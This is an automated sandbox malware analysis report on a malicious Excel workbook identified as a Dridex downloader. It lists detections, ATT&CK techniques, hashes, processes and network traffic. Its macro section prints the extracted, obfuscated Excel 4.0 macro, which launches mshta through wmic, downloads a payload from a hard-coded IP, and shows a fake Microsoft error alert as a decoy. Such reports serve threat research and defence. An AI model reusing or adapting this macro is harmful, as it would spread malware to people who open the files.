Windows Analysis Report 942830.xlsb
Overview
General Information
Detection
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Classification
Process Tree |
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Malware Configuration |
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No configs have been found |
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Yara Overview |
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Initial Sample |
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Source | Rule | Description | Author | Strings |
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JoeSecurity_XlsWithMacro4 | Yara detected Xls With Macro 4.0 | Joe Security |
Dropped Files |
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Source | Rule | Description | Author | Strings |
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JoeSecurity_DridexDownloader | Yara detected Dridex Downloader | Joe Security |
Sigma Overview |
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System Summary: |
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Sigma detected: Microsoft Office Product Spawning Windows Shell | Show sources |
Source: | Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: |
Sigma detected: Suspicious WMI Execution | Show sources |
Source: | Author: Michael Haag, Florian Roth, juju4, oscd.community: |
Jbx Signature Overview |
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Click to jump to signature section
AV Detection: |
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Multi AV Scanner detection for submitted file | Show sources |
Source: | Virustotal: | Perma Link |
Source: | File opened: |
Software Vulnerabilities: |
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Document exploit detected (process start blacklist hit) | Show sources |
Source: | Process created: |
Document exploit detected (UrlDownloadToFile) | Show sources |
Source: | Section loaded: |
Source: | TCP traffic: |
Source: | TCP traffic: |
Source: | IP Address: |
Source: | TCP traffic detected without corresponding DNS query: | ||
Source: | TCP traffic detected without corresponding DNS query: | ||
Source: | TCP traffic detected without corresponding DNS query: | ||
Source: | TCP traffic detected without corresponding DNS query: | ||
Source: | TCP traffic detected without corresponding DNS query: | ||
Source: | TCP traffic detected without corresponding DNS query: |
Source: | String found in binary or memory: |
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: |
Source: | File created: | Jump to behavior |
Source: | Window created: |
E-Banking Fraud: |
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Yara detected Dridex Downloader | Show sources |
Source: | File source: |
System Summary: |
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Found malicious Excel 4.0 Macro | Show sources |
Source: | Macro extractor: |
Found Excel 4.0 Macro with suspicious formulas | Show sources |
Source: | Initial sample: |
Found protected and hidden Excel 4.0 Macro sheet | Show sources |
Source: | Initial sample: |
Contains functionality to create processes via WMI | Show sources |
Source: | Binary or memory string: |
Found obfuscated Excel 4.0 Macro | Show sources |
Source: | Macro extractor: |
Source: | Macro extractor: |
Source: | Key opened: |
Source: | Virustotal: |
Source: | Key opened: |
Source: | Process created: | ||
Source: | Process created: | ||
Source: | Process created: | ||
Source: | Process created: |
Source: | Key value queried: |
Source: | WMI Queries: |
Source: | Binary or memory string: |
Source: | File created: | Jump to behavior |
Source: | File created: | Jump to behavior |
Source: | Classification label: |
Source: | File read: | Jump to behavior |
Source: | Key opened: |
Source: | Window detected: |
Source: | Initial sample: | ||
Source: | Initial sample: | ||
Source: | Initial sample: |
Source: | Key opened: |
Source: | File opened: |
Persistence and Installation Behavior: |
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Creates processes via WMI | Show sources |
Source: | WMI Queries: |
Hooking and other Techniques for Hiding and Protection: |
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Creates and opens a fake document (probably a fake document to hide exploiting) | Show sources |
Source: | Process created: | ||
Source: | Process created: |
Source: | Process information set: | ||
Source: | Process information set: | ||
Source: | Process information set: | ||
Source: | Process information set: | ||
Source: | Process information set: | ||
Source: | Process information set: | ||
Source: | Process information set: | ||
Source: | Process information set: | ||
Source: | Process information set: | ||
Source: | Process information set: | ||
Source: | Process information set: | ||
Source: | Process information set: | ||
Source: | Process information set: |
Source: | Thread sleep time: | ||
Source: | Thread sleep time: | ||
Source: | Thread sleep time: |
Source: | File source: |
Source: | Binary or memory string: | ||
Source: | Binary or memory string: | ||
Source: | Binary or memory string: |
Source: | Queries volume information: | ||
Source: | Queries volume information: |
Source: | Key value queried: |
Mitre Att&ck Matrix |
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Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement | Collection | Exfiltration | Command and Control | Network Effects | Remote Service Effects | Impact |
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Valid Accounts | Windows Management Instrumentation21 | Path Interception | Process Injection2 | Masquerading1 | OS Credential Dumping | Virtualization/Sandbox Evasion1 | Remote Services | Email Collection1 | Exfiltration Over Other Network Medium | Non-Standard Port1 | Eavesdrop on Insecure Network Communication | Remotely Track Device Without Authorization | Modify System Partition |
Default Accounts | Scripting4 | Boot or Logon Initialization Scripts | Boot or Logon Initialization Scripts | Virtualization/Sandbox Evasion1 | LSASS Memory | Process Discovery1 | Remote Desktop Protocol | Clipboard Data1 | Exfiltration Over Bluetooth | Ingress Tool Transfer1 | Exploit SS7 to Redirect Phone Calls/SMS | Remotely Wipe Data Without Authorization | Device Lockout |
Domain Accounts | Exploitation for Client Execution31 | Logon Script (Windows) | Logon Script (Windows) | Process Injection2 | Security Account Manager | File and Directory Discovery1 | SMB/Windows Admin Shares | Data from Network Shared Drive | Automated Exfiltration | Steganography | Exploit SS7 to Track Device Location | Obtain Device Cloud Backups | Delete Device Data |
Local Accounts | At (Windows) | Logon Script (Mac) | Logon Script (Mac) | Scripting4 | NTDS | System Information Discovery15 | Distributed Component Object Model | Input Capture | Scheduled Transfer | Protocol Impersonation | SIM Card Swap | Carrier Billing Fraud |
Behavior Graph |
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Screenshots |
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Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
Antivirus, Machine Learning and Genetic Malware Detection |
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Initial Sample |
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Source | Detection | Scanner | Label | Link |
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8% | Virustotal | Browse |
Dropped Files |
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No Antivirus matches |
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Unpacked PE Files |
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No Antivirus matches |
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Domains |
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No Antivirus matches |
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URLs |
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Source | Detection | Scanner | Label | Link |
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0% | URL Reputation | safe | ||
0% | URL Reputation | safe | ||
0% | URL Reputation | safe | ||
0% | Avira URL Cloud | safe |
Domains and IPs |
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Contacted Domains |
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No contacted domains info |
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URLs from Memory and Binaries |
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Name | Source | Malicious | Antivirus Detection | Reputation |
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false | high | |||
false | high | |||
false | high | |||
false | high | |||
false |
| low | ||
false |
| unknown | ||
false | high | |||
false |
| unknown | ||
false | high | |||
false |
| low | ||
false | high |
Contacted IPs |
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- No. of IPs < 25%
- 25% < No. of IPs < 50%
- 50% < No. of IPs < 75%
- 75% < No. of IPs
Public |
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IP | Domain | Country | Flag | ASN | ASN Name | Malicious |
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136.144.181.174 | unknown | Netherlands | 20857 | TRANSIP-ASAmsterdamtheNetherlandsNL | false |
General Information |
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Joe Sandbox Version: | 34.0.0 Boulder Opal |
Analysis ID: | 528106 |
Start date: | 24.11.2021 |
Start time: | 19:00:46 |
Joe Sandbox Product: | CloudBasic |
Overall analysis duration: | 0h 5m 25s |
Hypervisor based Inspection enabled: | false |
Report type: | light |
Sample file name: | 942830.xlsb |
Cookbook file name: | defaultwindowsofficecookbook.jbs |
Analysis system description: | Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2) |
Number of analysed new started processes analysed: | 8 |
Number of new started drivers analysed: | 0 |
Number of existing processes analysed: | 0 |
Number of existing drivers analysed: | 0 |
Number of injected processes analysed: | 0 |
Technologies: |
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Analysis Mode: | default |
Analysis stop reason: | Timeout |
Detection: | MAL |
Classification: | mal100.troj.expl.evad.winXLSB@4/4@0/1 |
EGA Information: | Failed |
HDC Information: | Failed |
HCA Information: |
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Cookbook Comments: |
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Warnings: | Show All
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Simulations |
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Behavior and APIs |
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Time | Type | Description |
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19:01:41 | API Interceptor | |
19:01:42 | API Interceptor |
Joe Sandbox View / Context |
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IPs |
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Match | Associated Sample Name / URL | SHA 256 | Detection | Link | Context |
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136.144.181.174 | Get hash | malicious | Browse | ||
Get hash | malicious | Browse | |||
Get hash | malicious | Browse | |||
Get hash | malicious | Browse | |||
Get hash | malicious | Browse | |||
Get hash | malicious | Browse | |||
Get hash | malicious | Browse | |||
Get hash | malicious | Browse | |||
Get hash | malicious | Browse | |||
Get hash | malicious | Browse | |||
Get hash | malicious | Browse | |||
Get hash | malicious | Browse | |||
Get hash | malicious | Browse | |||
Get hash | malicious | Browse | |||
Get hash | malicious | Browse | |||
Get hash | malicious | Browse | |||
Get hash | malicious | Browse | |||
Get hash | malicious | Browse |
Domains |
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No context |
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ASN |
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Match | Associated Sample Name / URL | SHA 256 | Detection | Link | Context |
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TRANSIP-ASAmsterdamtheNetherlandsNL | Get hash | malicious | Browse |
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Get hash | malicious | Browse |
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Get hash | malicious | Browse |
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Get hash | malicious | Browse |
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Get hash | malicious | Browse |
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Get hash | malicious | Browse |
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Get hash | malicious | Browse |
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Get hash | malicious | Browse |
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Get hash | malicious | Browse |
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Get hash | malicious | Browse |
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Get hash | malicious | Browse |
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Get hash | malicious | Browse |
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Get hash | malicious | Browse |
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Get hash | malicious | Browse |
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Get hash | malicious | Browse |
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Get hash | malicious | Browse |
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Get hash | malicious | Browse |
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Get hash | malicious | Browse |
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Get hash | malicious | Browse |
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Get hash | malicious | Browse |
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JA3 Fingerprints |
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No context |
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Dropped Files |
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No context |
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Created / dropped Files |
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Process: | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File Type: | |
Category: | dropped |
Size (bytes): | 4990 |
Entropy (8bit): | 5.068599092922693 |
Encrypted: | false |
SSDEEP: | 96:bn7txHHP2+qxRlRkdd+/WiZZfPyQZygDwu4yRvddbEBhohP7:lxHvuxRlRkdc/bZMQZy1Qldj |
MD5: | 265D66A0CA80A3A143F0B500D145BDF2 |
SHA1: | AE4F5D109A26131099F5514795388E7F43F3612F |
SHA-256: | C08069CED61FDB75C931C27940BB43903E50A5B5D2F047B9779AE173E2D47CE9 |
SHA-512: | D44888266776AB16DF360C23F58F3A37E40696F5565B824344A3D31F878BEB663325349A72A4942D9740BA05F5E876142CFE11C1B57846F546FF82A856401492 |
Malicious: | true |
Yara Hits: |
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Reputation: | low |
Preview: |
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Process: | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File Type: | |
Category: | dropped |
Size (bytes): | 38157 |
Entropy (8bit): | 7.96137177194393 |
Encrypted: | false |
SSDEEP: | 768:7PiEGNOfxgpvUM7w1phhsL+ZfBwnTV+YoS2bUoMokqk++yd6OAd/r:7PFwJpvc1e+BwT8YIbDMz+1d6xt |
MD5: | B88B9DF024814E6C791FDAC471ABD26C |
SHA1: | 6FB92BB20F7A51B40E03467C2EBB217A8E21E21A |
SHA-256: | 02F3AB917A42A10560A274A9CD91FDA01D7BC428C7428CCAF8CCFF1F46DEA39F |
SHA-512: | 67E6B7FAE7476847835E5A1F17FBFA60DC35B2AAC299A025102540BBA72D8A3CC120FA69E172FBADE6A4B68F464A98005FC38145CC618A6DC45D8C058F704E9E |
Malicious: | false |
Reputation: | moderate, very likely benign file |
Preview: |
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Process: | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File Type: | |
Category: | dropped |
Size (bytes): | 2191 |
Entropy (8bit): | 7.825535416775479 |
Encrypted: | false |
SSDEEP: | 48:ydXGZOauq4oTWmLUDhRHcfr1kqg0BDEqUZCVVQdqc:WapRkR8J3BDEqUAVsqc |
MD5: | 8EF98D9F0FDB8A20B48077024D27D012 |
SHA1: | 8CE6F554A30C1CEBF90C40B63CA0E9BCF66F09EB |
SHA-256: | 02A68CA10C3C190B4B9591B5E83AB2E64DF22EEE80B6D37163A01B40AC84C835 |
SHA-512: | 12175DCCD8C65F0755B960A46A282E61A21398C77B623724F75B03FF7E0CAB3FECD4D126173E48FF582567F11C7626A89D61B90149833D7BA4A84949278D5E8D |
Malicious: | false |
Reputation: | low |
Preview: |
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Process: | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File Type: | |
Category: | dropped |
Size (bytes): | 165 |
Entropy (8bit): | 1.4377382811115937 |
Encrypted: | false |
SSDEEP: | 3:vZ/FFDJw2fV:vBFFGS |
MD5: | 797869BB881CFBCDAC2064F92B26E46F |
SHA1: | 61C1B8FBF505956A77E9A79CE74EF5E281B01F4B |
SHA-256: | D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185 |
SHA-512: | 1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D |
Malicious: | true |
Reputation: | high, very likely benign file |
Preview: |
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Static File Info |
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General | |
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File type: | |
Entropy (8bit): | 7.868859973268516 |
TrID: |
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File name: | 942830.xlsb |
File size: | 71836 |
MD5: | 1d439288755abe01c8e0b84351a1adf3 |
SHA1: | 3db8730627a0fc4faa83e348e7e25d9ab9b81cb7 |
SHA256: | 72c5559bc575d4f5527babe24331374e5d319362e96e1078d35179aceea41941 |
SHA512: | aa1f62a6a10d943c94a4be5c1cc367ababdff424c10477c8e9e6219eef8f6c48a03fdfb87220c4d093658a75378987f47b2060cc9efb24f8bd308bdd62947d6b |
SSDEEP: | 1536:UWqPFwJpvc1e+BwT8YIbDMz+1d6xw9boBltlDSSs9cwTIgdUpm:VNMrbDu+1d6xw8PclcwTIgdUc |
File Content Preview: | PK..........!...l.....W.......[Content_Types].xml ...(......................................................................................................................................................................................................... |
File Icon |
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Icon Hash: | e4e2ea8aa4b4b4b4 |
Static OLE Info |
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General | ||
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Document Type: | OpenXML | |
Number of OLE Files: | 1 |
OLE File "942830.xlsb" |
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Indicators | |
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Has Summary Info: | |
Application Name: | |
Encrypted Document: | |
Contains Word Document Stream: | |
Contains Workbook/Book Stream: | |
Contains PowerPoint Document Stream: | |
Contains Visio Document Stream: | |
Contains ObjectPool Stream: | |
Flash Objects Count: | |
Contains VBA Macros: |
Macro 4.0 Code |
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0,564,=FOPEN("C:\Pr" & CHAR(111) & "gr" & CHAR(97) & "" & CHAR(109) & "Data\EvbrPIaoQqom.rt" & CHAR(102), 3) 2,564,=D5533+A5223 7,564,=A1868+A1946 11,564,=C4380+C7586 14,564,=FOR.CELL("nWZNlHtei",Sheet1!CP164:CQ2658, TRUE) 18,564,=D406+B412 21,564,=C6005+A2349 24,564,=A3461+B2499 26,564,=C4960+D4106 28,564,=FWRITE(0,CHAR(nWZNlHtei)) 29,564,=C7710+D2165 33,564,=D5791+B2710 36,564,=D5293+B4187 38,564,=A6864+D7860 41,564,=B2108+C5352 43,564,=NEXT() 46,564,=A6496+B938 49,564,=A7432+B2701 52,564,=B3899+C143 56,564,=EXEC("" & CHAR(119) & "mic process ca" & CHAR(108) & "l crea" & CHAR(116) & "e " & CHAR(34) & "mshta C:\" & CHAR(80) & "" & CHAR(114) & "ogramD" & CHAR(97) & "ta\EvbrPIaoQqo" & CHAR(109) & ".rt" & CHAR(102) & "" & CHAR(34)) 57,564,=B2843+A6723 58,564,=A3582+A920 59,564,=D1982+B865 60,564,=D9843+D5758 62,564,=C3983+C5558 63,564,=D462+C451 64,564,=B2389+A5133 65,564,=C6094+D4523 67,564,=CALL("urlmo" & CHAR(110), "URL" & CHAR(68) & "" & CHAR(111) & "wnl" & CHAR(111) & "adT" & CHAR(111) & CHAR(70) & "ile" & CHAR(65) & "","JJCCJ" & CHAR(74), 0, "http:/" & CHAR(47) & CHAR(49) & "36." & CHAR(49) & "44.181.174" & CHAR(58) & "8080/Q2" & CHAR(87) & "5VWUFL5VCMQ" & CHAR(55) & "JQPETG3CCTYX72Z" & CHAR(52) & "R25PD" & CHAR(71) & "", CHAR(67) & CHAR(58) & "\Prog" & CHAR(114) & "amData\QxvEWFGZz" & CHAR(115) & "RaLpM.t" & CHAR(120) & "" & CHAR(116) & "",0,0) 68,564,=B104+D204 69,564,=C4475+D1420 70,564,=A5173+B9471 72,564,=B2468+C8962 73,564,=B787+A8188 75,564,=D9546+A9346 78,564,=A9437+A373 79,564,=ALERT("" & CHAR(69) & "rror!" & CHAR(32) & "Sending report t" & CHAR(111) & " Micr" & CHAR(111) & CHAR(115) & CHAR(111) & "ft...") 80,564,=C5802+A9247 81,564,=B3530+C368 82,564,=B8109+D333 85,564,=B4090+A7127 86,564,=C8119+A6624 87,564,=D2397+C8265 89,564,=A8846+D8758 90,564,=B685+D4928 91,564,=B5722+C3018 93,564,=D3313+C4267 94,564,=FOPEN("C:\ProgramD" & CHAR(97) & "ta\QxvEWFG" & CHAR(90) & "zsRaL" & CHAR(112) & "M.txt",1) 95,564,=D1625+C227 97,564,=B9659+B1121 98,564,=A2894+D6284 100,564,=D3434+B6016 101,564,=C3988+B997 102,564,=C532+D1116 105,564,=B2645+B3278 106,564,=C6165+B5381 107,564,=A6261+D3436 109,564,=SEND.MAIL(EVALUATE(FREAD(US95,255))) 110,564,=C2438+B4014 114,564,=C526+A7371 115,564,=D313+D3521 118,564,=A9077+C9331 119,564,=B1552+C4204 122,564,=RETURN()
Network Behavior |
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Network Port Distribution |
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TCP Packets |
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Timestamp | Source Port | Dest Port | Source IP | Dest IP |
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Nov 24, 2021 19:01:59.756293058 CET | 49167 | 8080 | 192.168.2.22 | 136.144.181.174 |
Nov 24, 2021 19:01:59.784006119 CET | 8080 | 49167 | 136.144.181.174 | 192.168.2.22 |
Nov 24, 2021 19:02:00.282386065 CET | 49167 | 8080 | 192.168.2.22 | 136.144.181.174 |
Nov 24, 2021 19:02:00.310106039 CET | 8080 | 49167 | 136.144.181.174 | 192.168.2.22 |
Nov 24, 2021 19:02:00.812792063 CET | 49167 | 8080 | 192.168.2.22 | 136.144.181.174 |
Nov 24, 2021 19:02:00.840646029 CET | 8080 | 49167 | 136.144.181.174 | 192.168.2.22 |
Nov 24, 2021 19:02:00.842485905 CET | 49168 | 8080 | 192.168.2.22 | 136.144.181.174 |
Nov 24, 2021 19:02:00.870201111 CET | 8080 | 49168 | 136.144.181.174 | 192.168.2.22 |
Nov 24, 2021 19:02:01.452440977 CET | 49168 | 8080 | 192.168.2.22 | 136.144.181.174 |
Nov 24, 2021 19:02:01.483283043 CET | 8080 | 49168 | 136.144.181.174 | 192.168.2.22 |
Nov 24, 2021 19:02:01.982955933 CET | 49168 | 8080 | 192.168.2.22 | 136.144.181.174 |
Nov 24, 2021 19:02:02.010921955 CET | 8080 | 49168 | 136.144.181.174 | 192.168.2.22 |
Code Manipulations |
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Statistics |
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Behavior |
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Click to jump to process
System Behavior |
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General |
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Start time: | 19:01:17 |
Start date: | 24/11/2021 |
Path: | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x13f640000 |
File size: | 28253536 bytes |
MD5 hash: | D53B85E21886D2AF9815C377537BCAC3 |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | high |
General |
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Start time: | 19:01:40 |
Start date: | 24/11/2021 |
Path: | C:\Windows\System32\wbem\WMIC.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0xff440000 |
File size: | 566272 bytes |
MD5 hash: | FD902835DEAEF4091799287736F3A028 |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | moderate |
General |
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Start time: | 19:01:42 |
Start date: | 24/11/2021 |
Path: | C:\Windows\System32\mshta.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x13fa30000 |
File size: | 13824 bytes |
MD5 hash: | 95828D670CFD3B16EE188168E083C3C5 |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | high |
Disassembly |
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Code Analysis |
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